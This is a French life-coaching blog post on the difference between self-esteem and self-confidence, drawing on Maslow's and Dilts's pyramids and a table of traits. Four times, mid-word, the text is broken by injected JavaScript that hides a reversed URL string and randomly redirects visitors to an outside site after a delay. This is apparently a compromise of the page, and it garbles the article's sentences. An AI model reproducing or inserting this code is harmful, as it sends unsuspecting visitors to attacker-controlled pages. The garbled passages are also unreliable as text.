Cet article sur l’estime de soi fait suite à celui sur la confiance en soi. Je tiens à (re)signaler ici que, malgré ma position de coach de vie et de coach en développement personnel, ce blog n’a pas pour seul objet la transmission. Il propose d’installer le partage et l’interaction avec ses lecteurs. C’est pourquoi je m’efforce d’y présenter un point de vue personnel, soumis à commentaires et susceptible d’évoluer…
Approche et différence entre estime de soi et confiance en soi
La distinction entre confiance en soi et estime de soi mérite de s’y attarder. Lorsque je pense à l’estime de soi, je me remémore souvent la pyramide de Maslow mais aussi celle de Robert Dilts. Ces dernières sont très utilisées en coaching, que ce soit par les coachs de vie ou les coachs professionnels. Ces deux pyramides m’ont aidé à approcher les différences entre estime de soi et confiance en soi.
La pyramide des besoins du psychologue Abraham Maslow
La pyramide des niveaux logiques de Robert Dilts
- Environnement ; « Où et Quand ? » . L’environnement est le contexte du sujet, bien entendu.
- Comportement ; « Quoi ? » . Les paroles et actions, réalisées ou non.
- Capacités ; « Comment ? » . Les compétences et leur organisation. A mon sens c’est le niveau le plus proche de la confiance en soi.
- Croyances et valeurs ; « Pourquoi ? » . Pour soi, les autres, la vie.
- Identité ; « Qui ? » . Qui suis-je et quel est ma mission ?
- Spirituel ; « Qui d’autre ? » . Ce qui est au-delà de moi, le monde auquel je me sens appartenir.
Et l’estime de soi dans toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tout cela ?
L’estime de soi orientée vers le monde intérieur
L’estime de soi est une valeur, au sens propre et figuré
L’estime de soi vers l’intérieur, la confiance en soi vers l’extérieur
Possibles manifestations du manque d’estime de soi
Forte estime de soi
|
Faible estime de soi
|
Croit en ses principes, fait preuve d’assertivité, de confiance en soi
|
Autoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to-critique importante, insatisfaction chronique
|
Assume ses choix, sans culpabilité
|
Indécis, peur exagérée de l’erreur
|
Va de l’avant, sans penser au passé ou à l’avenir
|
Culpabilité, rumine les erreurs du passé
|
Résout les problèmes, peut demander l’avis des autres
|
Perfectionnisme
|
Collabore avec les autres toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tout en résistant à la manipulation
|
Irritable et sur la défensive même sans raison apparente
|
Considère les autres sans se sentir inférieur ou supérieur,
Accepte les autres dans leur différence
|
Envieux
|
Admet les avis et opinions différents, positifs comme négatifs
|
Hypersensible aux critiques
|
Apprécie toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toute une variété d’activités
|
Négativité, pessimisme
|
Sensible aux besoins des autres, respecte les lois sociales
|
|
Julien PINOT | Mage Intérieur
Développer l’estime de soi par la magie du voyage | Trickster ©
